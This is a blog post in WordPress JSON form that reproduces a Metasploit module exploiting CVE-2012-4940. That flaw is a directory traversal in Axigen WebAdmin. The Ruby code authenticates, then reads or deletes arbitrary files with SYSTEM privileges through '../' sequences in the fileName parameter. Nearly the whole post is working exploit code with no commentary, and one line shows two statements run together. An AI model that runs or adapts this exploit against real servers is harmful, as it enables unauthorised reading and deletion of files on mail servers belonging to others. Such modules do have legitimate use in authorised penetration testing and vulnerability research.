{"id":59311,"date":"2024-09-01T00:49:56","date_gmt":"2024-08-31T21:49:56","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180853\/axigen_file_access.rb.txt"},"modified":"2024-09-01T00:49:56","modified_gmt":"2024-08-31T21:49:56","slug":"axigen-arbitrary-file-read-and-delete","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/axigen-arbitrary-file-read-and-delete\/","title":{"rendered":"Axigen Arbitrary File Read And Delete"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Axigen Arbitrary File Read and Delete&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a directory traversal vulnerability in the WebAdmin<br \/>interface of Axigen, which allows an authenticated user to read and delete<br \/>arbitrary files with SYSTEM privileges. The vulnerability is known to work on<br \/>Windows platforms. This module has been tested successfully on Axigen 8.10 over<br \/>Windows 2003 SP2.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Zhao Liang&#8217;, # Vulnerability discovery<br \/>&#8216;juan vazquez&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;US-CERT-VU&#8217;, &#8216;586556&#8217; ],<br \/>[ &#8216;CVE&#8217;, &#8216;2012-4940&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;86802&#8217; ]],<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[&#8216;Read&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Read remote file&#8217; }],<br \/>[&#8216;Delete&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Delete remote file&#8217; }]],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;Read&#8217;,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2012-10-31&#8217;<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(9000),<br \/>OptInt.new(&#8216;DEPTH&#8217;, [ true, &#8216;Traversal depth if absolute is set to false&#8217;, 4 ]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;Path to Axigen WebAdmin&#8217;, &#8216;\/&#8217; ]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [ true, &#8216;The user to authenticate as&#8217;, &#8216;admin&#8217; ]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [ true, &#8216;The password to authenticate with&#8217; ]),<br \/>OptString.new(&#8216;PATH&#8217;, [ true, &#8216;The file to read or delete&#8217;, &#8216;\\\\windows\\\\win.ini&#8217; ])<br \/>])<br \/>end<\/p>\n<p>def run<br \/>print_status(&#8216;Trying to login&#8217;)<br \/>if login<br \/>print_good(&#8216;Login Successful&#8217;)<br \/>else<br \/>print_error(&#8216;Login failed, review USERNAME and PASSWORD options&#8217;)<br \/>return<br \/>end<\/p>\n<p>@traversal = &#8216;..\/&#8217; * 10<br \/>file = datastore[&#8216;PATH&#8217;]@platform = get_platform<\/p>\n<p>if @platform == &#8216;windows&#8217;<br \/>@traversal.gsub!(%r{\/}, &#8216;\\\\&#8217;)<br \/>file.gsub!(%r{\/}, &#8216;\\\\&#8217;)<br \/>else # unix<br \/>print_error(&#8216;*nix platform detected, vulnerability is only known to work on Windows&#8217;)<br \/>return<br \/>end<\/p>\n<p>case action.name<br \/>when &#8216;Read&#8217;<br \/>read_file(datastore[&#8216;PATH&#8217;])<br \/>when &#8216;Delete&#8217;<br \/>delete_file(datastore[&#8216;PATH&#8217;])<br \/>end<br \/>end<\/p>\n<p>def read_file(file)<br \/>print_status(&#8216;Retrieving file contents&#8230;&#8217;)<\/p>\n<p>res = send_request_cgi(<br \/>{<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;sources&#8217;, &#8216;logging&#8217;, &#8216;page_log_file_content.hsp&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;cookie&#8217; =&gt; &#8220;_hadmin=#{@session}&#8221;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;_h&#8217; =&gt; @token,<br \/>&#8216;fileName&#8217; =&gt; &#8220;#{@traversal}#{file}&#8221;<br \/>}<br \/>}<br \/>)<\/p>\n<p>if res &amp;&amp; (res.code == 200) &amp;&amp; res.headers[&#8216;Content-Type&#8217;] &amp;&amp; !res.body.empty?<br \/>store_path = store_loot(&#8216;axigen.webadmin.data&#8217;, &#8216;application\/octet-stream&#8217;, rhost, res.body, file)<br \/>print_good(&#8220;File successfully retrieved and saved on #{store_path}&#8221;)<br \/>else<br \/>print_error(&#8216;Failed to retrieve file&#8217;)<br \/>end<br \/>end<\/p>\n<p>def delete_file(file)<br \/>print_status(&#8220;Deleting file #{file}&#8221;)<\/p>\n<p>res = send_request_cgi(<br \/>{<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;cookie&#8217; =&gt; &#8220;_hadmin=#{@session}&#8221;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;_h&#8217; =&gt; @token,<br \/>&#8216;page&#8217; =&gt; &#8216;vlf&#8217;,<br \/>&#8216;action&#8217; =&gt; &#8216;delete&#8217;,<br \/>&#8216;fileName&#8217; =&gt; &#8220;#{@traversal}#{file}&#8221;<br \/>}<br \/>}<br \/>)<\/p>\n<p>if res &amp;&amp; (res.code == 200) &amp;&amp; res.body =~ (\/View Log Files\/)<br \/>print_good(&#8220;File #{file} deleted&#8221;)<br \/>else<br \/>print_error(&#8220;Error deleting file #{file}&#8221;)<br \/>end<br \/>end<\/p>\n<p>def get_platform<br \/>print_status(&#8216;Retrieving platform&#8217;)<\/p>\n<p>res = send_request_cgi(<br \/>{<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;cookie&#8217; =&gt; &#8220;_hadmin=#{@session}&#8221;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;_h&#8217; =&gt; @token<br \/>}<br \/>}<br \/>)<\/p>\n<p>if res &amp;&amp; (res.code == 200)<br \/>if res.body =~ \/Windows\/<br \/>print_good(&#8216;Windows platform found&#8217;)<br \/>return &#8216;windows&#8217;<br \/>elsif res.body =~ \/Linux\/<br \/>print_good(&#8216;Linux platform found&#8217;)<br \/>return &#8216;unix&#8217;<br \/>end<br \/>end<\/p>\n<p>print_warning(&#8216;Platform not found, assuming UNIX flavor&#8217;)<br \/>return &#8216;unix&#8217;<br \/>end<\/p>\n<p>def login<br \/>res = send_request_cgi(<br \/>{<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;username&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>&#8216;password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>&#8216;submit&#8217; =&gt; &#8216;Login&#8217;,<br \/>&#8216;action&#8217; =&gt; &#8216;login&#8217;<br \/>}<br \/>}<br \/>)<\/p>\n<p>if res &amp;&amp; (res.code == 303) &amp;&amp; res.headers[&#8216;Location&#8217;] =~ (\/_h=([a-f0-9]*)\/)<br \/>@token = ::Regexp.last_match(1)<br \/>if res.get_cookies =~ \/_hadmin=([a-f0-9]*)\/<br \/>@session = ::Regexp.last_match(1)<br \/>return true<br \/>end<br \/>end<\/p>\n<p>return false<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Axigen Arbitrary File Read and Delete&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a directory traversal vulnerability in the WebAdmininterface of Axigen, which allows an authenticated user to read and deletearbitrary files with SYSTEM privileges. The vulnerability is known &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59311","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59311","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59311"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59311\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59311"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59311"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59311"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}